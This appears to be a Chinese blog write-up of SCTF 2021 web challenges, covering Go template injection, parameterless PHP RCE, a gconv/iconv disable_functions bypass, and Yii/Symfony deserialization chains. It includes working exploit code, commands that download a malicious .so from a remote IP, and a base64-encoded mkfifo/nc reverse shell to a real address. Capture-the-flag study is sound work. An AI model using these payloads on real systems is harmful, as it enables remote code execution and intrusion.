2021SCTF

前言

复现环境:NSSCTF

总结

第一个就是学到了RCEME中绕过disabled_function和无参数rce的方法

第二个就是找反序列化链子

upload1和upload2都是找yii的反序列化链子,$可控()可以来触发__invoke__call,后者需要是数组模式,所以后者这种数组模式也可以用来调用某个对象的某个方法。

然后学会了一些session的方法,我们通过上传文件,然后保存在session文件,然后上传我们的文件,覆盖之前的session文件,再次方法,从而可以把我们的结果带出来

ezosu也是找链子,通过伪造传入的POST值,造成反序列化逃逸,然后加入我们链子,GET方式带出来。

后面两个题,就稍微看了下思路

Loginme

考点

GO的模板注入

wp

middleware.go

package middleware

import (
	"github.com/gin-gonic/gin"
)

func LocalRequired() gin.HandlerFunc {
	return func(c *gin.Context) {
		if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
			c.AbortWithStatus(403)
			return
		}
		ip := c.ClientIP()
		if ip == "127.0.0.1" {
			c.Next()
		} else {
			c.AbortWithStatus(401)
		}
	}
}

过滤了x-forwarded-forx-client-for

而又需要localhost,所以我们利用X-Real-IP来绕过。

route.go

package route

import (
	_ "embed"
	"fmt"
	"html/template"
	"loginme/structs"
	"loginme/templates"
	"strconv"

	"github.com/gin-gonic/gin"
)

func Index(c *gin.Context) {
	c.HTML(200, "index.tmpl", gin.H{
		"title": "Try Loginme",
	})
}

func Login(c *gin.Context) {
	idString, flag := c.GetQuery("id")
	if !flag {
		idString = "1"
	}
	id, err := strconv.Atoi(idString)
	if err != nil {
		id = 1
	}
	TargetUser := structs.Admin
	for _, user := range structs.Users {
		if user.Id == id {
			TargetUser = user
		}
	}

	age := TargetUser.Age
	if age == "" {
		age, flag = c.GetQuery("age")
		if !flag {
			age = "forever 18 (Tell me the age)"
		}
	}

	if err != nil {
		c.AbortWithError(500, err)
	}

	html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)
	if err != nil {
		c.AbortWithError(500, err)
	}

	tmpl, err := template.New("admin_index").Parse(html)
	if err != nil {
		c.AbortWithError(500, err)
	}

	tmpl.Execute(c.Writer, TargetUser)
}

struct.go

package structs

type UserInfo struct {
	Id       int
	Username string
	Age      string
	Password string
}

var Users = []UserInfo{
	{
		Id:       1,
		Username: "Grandpa Lu",
		Age:      "22",
		Password: "hack you!",
	},
	{
		Id:       2,
		Username: "Longlone",
		Age:      "??",
		Password: "i don't know",
	},
	{
		Id:       3,
		Username: "Teacher Ma",
		Age:      "20",
		Password: "guess",
	},
}

var Admin = UserInfo{
	Id:       0,
	Username: "Admin",
	Age:      "",
	Password: "flag{}",
}

struct.go可得flag在Password里面,所以id=0

然后直接通过控制age参数,模板注入获得Password

2021SCTF_第1张图片

RCEME

考点

  1. 无参数RCE
  2. 绕过disabled_functions

wp

无参数rce


if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>

看到首页,var_dump(ini_get("disable_functions"));,多半要考绕过disabled_functions

先总结下获取disabled_funciton的方式

1.phpinfo()

2.var_dump(ini_get(“disable_functions”));

3.var_dump(get_cfg_var(“disable_functions”));

其他的

var_dump(get_cfg_var(“open_basedir”));

var_dump(ini_get_all());

看代码:

总共的符号有:

~,`,!,@,#,$,%,^,&,*,(,),_,-,=,+,[,],{,},;,:,'',"",<,>,,,?,\,|,/,?,.,空格,回车,换行,tab键

除了过滤的,剩下的还有~,@,%,#,^,*,(),_,[],{},;,:,.

除了disabled_functions,剩下的函数

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders

我们需要执行eval,可以利用create_function

这里逗号被过滤,为了传入参数,我们可以使用可变参数列表实现

在PHP 5.6以后,参数列表可以包括…,他表示函数接受可变数量的参数。参数将作为数组传递到给定的变量中


$args=['','}system("whoami");//'];
create_function(...$args);
?>

原理:create_function,相当于创建了一个函数,利用}闭合前面的{,然后执行代码,最后利用//来注释点后面的}

因为过滤函数太多,我们构造

create_function(...unserialize(end(getallheaders())))

create_funtion本质是语法解析的。可以直接注入eval

end — 将array的内部指针移动到最后一个单元并返回其值。    
getallheaders — 获取全部 HTTP 请求头信息,得到一个数组(有键值对)

构造序列化内容


$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;

就是将这串得到的序列化字符,放在http保报文头部最后,然后反序列化,就可以触发代码

异或脚本,不被过滤的cmd

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("

while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
	print(s)

手动加 …

[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));

2021SCTF_第2张图片

绕过disabled_functions

利用iconv去绕过df

参考:https://xz.aliyun.com/t/8669#toc-8

流程:

用自己的linux系统

创建payload.c

#include 
#include 

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("bash -c '/readflag > /tmp/sna'");
  exit(0);
}

生成so文件(这儿介绍哈so文件)

gcc payload.c -o payload.so -shared -fPIC 

再创建一个gconv-modules文件

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

把这两个文件放到服务器上,记得打开端口,然后创建一个网站,能直接访问到网站的目录。

2021SCTF_第3张图片

然后利用 SplFileObjectpayload.sogconv-modules

一定等响应包状态为200,才是写进去文件了

a=$url="http://xx.xx.171.248:10000/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);

a=$url = "http://xx.xx.171.248:39543/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

利用伪协议触发

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

进行读取

a=show_source("/tmp/sna");

2021SCTF_第4张图片

拿到flag。

upload it 1

下载附件,composer.json中有两个组件,下载

2021SCTF_第5张图片

看附件给出的源码


include_once "../vendor/autoload.php";

error_reporting(0);
session_start();

define("UPLOAD_PATH", "/tmp/sandbox");
if (!file_exists(UPLOAD_PATH)) {
    @mkdir(UPLOAD_PATH);
}

function make_user_upload_dir() {
    $md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
    $upload_path = UPLOAD_PATH . "/" . $md5_dir;
    @mkdir($upload_path);
    $_SESSION["upload_path"] = $upload_path;
}

if (empty($_SESSION["upload_path"])) {
    make_user_upload_dir();
}

if (!empty($_FILES['file'])) {
    $file = $_FILES['file'];
    if ($file['size'] < 1024 * 1024) {
        if (!empty($_POST['path'])) {
            $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
            $upload_file = $upload_file_path."/".$file['name'];
        } else {
            $upload_file_path = $_SESSION["upload_path"];
            $upload_file = $_SESSION["upload_path"]."/".$file['name'];
        }

        if (move_uploaded_file($file['tmp_name'], $upload_file)) {
            echo "OK! Your file saved in: " . $upload_file;
        } else {
            echo "emm...Upload failed:(";
        }
    } else {
        echo "too big!!!";
    }
} else if (!empty($_GET['phpinfo'])) {
    phpinfo();
    exit();
} else {
    echo <<<CODE

    
        Upload
    

    
        

Upload files casually XD

FILE: PATH:

or...Just look at the phpinfo?

go to phpinfo CODE;
}

然后一看是个yii2的框架,大概率是反序列化找链子

之前做过的yii,一般都是找call_user_func_array

\vendor\opis\closure\src\SerializableClosure.php

2021SCTF_第6张图片

找其他的魔法函数

看到了这个

2021SCTF_第7张图片

2021SCTF_第8张图片

所以,我们利用__sleep来触发__toString

__toString中的try里可以触发,属性可控

return $this->value = ($this->value)();

链子就出来了



namespace Symfony\Component\String;
class LazyString
{
    public $value;

    public function __construct()
    {
        require "vendor/opis/closure/autoload.php";
        $func =function(){system("cat /flag");};
        $this->value = new \Opis\Closure\SerializableClosure($func);
    }
}
print("upload_path|".serialize(new LazyString())).PHP_EOL;


这儿传入func的目的是对$closure进行赋值,然后通过call_user_func_array进行执行命令。

得到反序列化值,传入文件

因为我们传入文件是放在session中,所以我们将文件名改为sess_自己的PHPSESSION,从而覆盖session文件,然后我们重新访问,把我们命令执行的结果带出来,得到flag。

2021SCTF_第9张图片

upload2

添加了一个sandbox类


include_once "../vendor/autoload.php";

error_reporting(0);
session_start();

define("UPLOAD_PATH", "/tmp/sandbox");
if (!file_exists(UPLOAD_PATH)) {
    @mkdir(UPLOAD_PATH);
}

// emmm...easy backdoor
class sandbox {
	private $evil;
	public $upload_path;
	
	public function make_user_upload_dir() {
		$md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
		$this->upload_path = UPLOAD_PATH . "/" . $md5_dir;
		@mkdir($this->upload_path);
		$_SESSION["upload_path"] = $this->upload_path;
	}
	
	public function has_upload_dir() {
		return !empty($_SESSION["upload_path"]);
	}
	
	public function __wakeup() {
		/*
		I removed this code because it was too dangerous.
		*/
		throw new Error("NO NO NO");
	}
	
	public function __destruct() {
		/*
		I removed this code because it was too dangerous.
		*/
	}
	
	public function __call($func, $value) {
		if (method_exists($this, $func)) {
			call_user_func_array(
				[$this, $func],
				$value
			);
		}
	}
	
	private function backdoor() {
		// __destruct and __wakeup are deleted. It looks like backdoor should not be called.
		include_once $this->evil;
	}
}

$box = new sandbox();
if (!$box->has_upload_dir()) {
    $box->make_user_upload_dir();
}

if (!empty($_FILES['file'])) {
    $file = $_FILES['file'];
    if ($file['size'] < 1024 * 1024) {
        if (!empty($_POST['path'])) {
            $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
            $upload_file = $upload_file_path."/".$file['name'];
        } else {
            $upload_file_path = $_SESSION["upload_path"];
            $upload_file = $_SESSION["upload_path"]."/".$file['name'];
        }

        if (move_uploaded_file($file['tmp_name'], $upload_file)) {
            echo "OK! Your file saved in: " . $upload_file;
        } else {
            echo "emm...Upload failed:(";
        }
    } else {
        echo "too big!!!";
    }
} else if (!empty($_GET['phpinfo'])) {
    phpinfo();
    exit();
} else {
    echo <<<CODE

    
        Upload
    

    
        

Upload files casually XD

FILE: PATH:

or...Just look at the phpinfo?

go to phpinfo CODE;
}

还是利用__toString 函数

**重点:**以前遇到的形式可能是这样的 $可控->$可控() 这样触发 __call方法 这里形式是 $可控(),我们给 $this->value为数组模式

2021SCTF_第10张图片

触发了__call,因为__toString传过来的都是无参数的函数,所以需要找个无参数的函数

刚好backdoor满足,利用include_once

2021SCTF_第11张图片

所以exp为


namespace Symfony\Component\String{
    class LazyString{
        public $value;
        
        public function __construct($value){
            $this->value = $value;
        }
    }
}

namespace {
    class sandbox {
        public $evil;
        public function __construct(){
            $this->evil = "/tmp/sanbox/flag";
        }
    }
    use Symfony\Component\String\LazyString;

    $value = [new sandbox,"backdoor"];

    $lazy = new LazyString($value);

    echo serialize($lazy);

}

因为是文件包含,所以方式挺多的,比如include_once($_GET['a'])或者php伪协议之类的

ezosu

给出了一个附件,里面就是nginx反代和IMI的php框架

其中反代这里只有对请求进行转发和/app/static目录下的一大堆静态文件

我们先看IndexController文件



namespace ImiApp\ApiServer\Controller;

use Imi\App;
use Imi\Db\Db;
use Imi\Redis\Redis;
use Imi\Server\Http\Controller\HttpController;
use Imi\Server\Http\Route\Annotation\Action;
use Imi\Server\Http\Route\Annotation\Controller;
use Imi\Server\Http\Route\Annotation\Route;
use Imi\Server\View\Annotation\HtmlView;
use Imi\Server\View\Annotation\View;
use Imi\Server\Session\Session;

/**
 * @Controller("/")
 */
class IndexController extends HttpController
{
    /**
     * @Action
     * @Route("/")
     *
     * @return array
     */
    public function index()
    {
        return $this->response->redirect("/index.html");
    }

    /**
     * @Action
     * 
     * @return array
     */
    public function config()
    {
        $method = $this->request->getMethod();
        $res = [
            "msg" => "ok",
            "status" => "200",
            "value" => true
        ];

        if ($method === "POST") {
            Session::clear();
            $configData = $this->request->getParsedBody();
            foreach ($configData as $k => $v) {
                Session::set($k, $v);
            }
        } else if ($method === "GET") {
            $configData = Session::get();
            if ($configData != null) {
                $res["value"] = $configData;
            } else {
                $res = [
                    "msg" => "Not Find",
                    "status" => "404",
                    "value" => null
                ];
            }
        } else {
            $res = [
                "msg" => "Unsupported method",
                "status" => "405",
                "value" => false
            ];
        }
        return $res;
    }
}

这儿分析一下就是,使用POST传参则将json中的值放到Session中,然后使用GET请求访问则获取Session中所有的值并显示出来。

2021SCTF_第12张图片

下面是对session的操作




function encode($data)
{
    $result = '';
    foreach ($data as $k => $v)
    {
        $result .= $k . '|' . serialize($v);
    }

    return $result;
}


function decode($data)
{
    $result = [];
    $offset = 0;
    $length = \strlen($data);
    while ($offset < $length)
    {
        if (!strstr(substr($data, $offset), '|'))
        {
            return [];
        }
        $pos = strpos($data, '|', $offset);
        $num = $pos - $offset;
        $varname = substr($data, $offset, $num);
        $offset += $num + 1;
        $a = substr($data, $offset);
        $dataItem = unserialize($a);
        $result[$varname] = $dataItem;
        $offset += \strlen(serialize($dataItem));
    }

    return $result;
}

2021SCTF_第13张图片

操作:一定要先写入session中,然后再get方法访问。

因为在对session的操作encode中,将POST键值对写入session中

然后在GET方法中,再进行解码

我们做个小实验

就在上面的代码加上

$data的值,是伪造POSTaa|s:4:z3eyond|s:5:"admin";=b经过encode后的值。

$data = 'aa|s:4:z3eyond|s:5:"admin";|s:1:"b";';
var_dump(decode($data));

2021SCTF_第14张图片

这刚好是我们上面的截图

所以我们利用方式就是通过这个来为找反序列化值,从而造成反序列化逃逸

给了一个imi框架,我们还是找链子

2021SCTF_第15张图片

入口还是经典的LazyString,因为这里存在serialize操作,所以会触发__sleep(),然后到__toString()

2021SCTF_第16张图片

再到LazyOption.php

2021SCTF_第17张图片

所以我们构造链子



namespace Symfony\Component\String{
    class LazyString{
        public $value;
        public function __construct($value){
            $this->value=$value;
        }
    }
}
namespace PhpOption{
    final class LazyOption{
        public $callback;
        public $arguments;
        public function __construct($callback,$arguments){
            $this->callback=$callback;
            $this->arguments=$arguments;
        }
    }
}

namespace {
    use Symfony\Component\String\LazyString;
    $la = new LazyString([new PhpOption\LazyOption("system",array('echo$IFS$9cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xNS42Ny4xNDIgMTMzNyA+L3RtcC9m|base64$IFS$9-d|sh')),"get"]);
    echo urlencode(serialize($la));
}

其中。

cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xNS42Ny4xNDIgMTMzNyA+L3RtcC9m

对应:(一种反弹shell的方式)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.15.67.142 1337 >/tmp/f

关于mkfifo,可以看看https://www.cnblogs.com/52php/p/5840229.html

链子:

Symfony\Component\String\LazyString: serialize ==> __sleep()==>__toString()
==>
PhpOption\LazyOption: get()==>option()==>call_user_func_array

其中return $this->value=($this->value)()

我们给value赋值数组,一个是对象,一个是方法名。

2021SCTF_第18张图片

再看看feng师傅的链子



namespace Symfony\Component\String{

    use PhpOption\LazyOption;

    class LazyString{
        public $value;
        public function __construct(){
            $a = new LazyOption();
            $this->value =[$a,'getIterator'];//这儿则是通过LazyOption的getIterator到option方法的。
        }
    }
}
namespace PhpOption{
    final class LazyOption{
        public $option = null;
        public $callback = 'create_function';
        public $arguments = ['',"}system(base64_decode('xxx'));//"];
    }
}
namespace {


    use Symfony\Component\String\LazyString;

    session_start();
    $_SESSION['feng'] = new LazyString();
}

还可以看看出题人的链子

https://tttang.com/archive/1393/

然后传入POST参数

2021SCTF_第19张图片

自己的云服务器监听,然后再get,就可以了。

FUMO_on_the_Christmas_tree

2021SCTF_第20张图片

2021SCTF_第21张图片

类似于强网杯那个pop master,给了几万个类,要我们进行反序列化

看大佬们的分析

https://eastjun.top/2021/12/28/sctf2021/

import re
import base64

otov = {}
vtoo = {}
otoc = {}
ctoo = {}
otof = {}
ftoo = {}
otoa = {}
classes = {}

def trav(name, cls, al):
    if "fumo" in classes[name]:
        print("->".join(cls))
        print(f"start->{'->'.join(al)}->end",end="\n\n")
        return 1
    for call in otoc[name]:
        if call in ftoo.keys():
            next = ftoo[call]
            if next not in cls:
                trav(next, cls + [next], al+[otoa[name]])
    return 0

if __name__ == "__main__":
    with open("class.code") as f:
        text = f.read()
        res = re.findall("class[\w\W]+?}[\w\W]+?}", text)
        for i in res:
            name = re.findall("class (\w+)", i)[0]
            classes[name] = i
            fs = re.findall("public object (\$\w+?);", i)
            otov[name] = fs
            for fc in fs:
                vtoo[fc] = name
            calls = re.findall("\$this->\w+?->(\w+)\(", i)
            calls1 = []
            a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i)
            disable = ("md5", "sha1", "crypt", "ucfirst")
            for call in calls:
                ctoo[call] = name
                if len(a) == 0 and "crypt" not in i:
                        calls1.append(call)
                        otoa[name]=""
                else:
                    if len(a) == 0:
                        a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i)
                    if len(a)==1:
                        a = list(a[0])
                        if "crypt" in i:
                            a[1] = "crypt"
                    otoa[name] = a[1]
                    if a[0] == a[2] and (
                        a[1] != ""
                        and not (a[1] in disable and i.find(a[1]) < i.find(call))
                        or a[1] == ""):
                        calls1.append(call)
            calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i)
            if calls2:
                ctoo[name] = calls2[0]
                otoa[name] = ""
            otoc[name] = calls1 + calls2
            func = re.findall("function (\w+?)\(", i)[0]
            ftoo[func] = name
            otof[name] = func

            if func == "__call":
                calls = re.findall("=> '(\w+?)'", i)
                otoc[name] = calls
                ctoo[calls[0]] = name
                func = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0]
                otof[name] = func
                ftoo[func] = name
                otoa[name] = ""
            elif func == "__invoke":
                calls = re.findall("\$this->\w+?->(\w+?)\(", i)
                otoc[name] = calls
                ctoo[calls[0]] = name
                func = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0]
                func = base64.b64decode(func.encode()).decode()
                otof[name] = func
                ftoo[func] = name
                otoa[name] = ""
        trav(ftoo["__destruct"], [ftoo["__destruct"]],[])

GOFTP

参考:

https://www.anquanke.com/post/id/264528#h3-1

你可能感兴趣的:(CTF训练日记,mysql,php,数据库)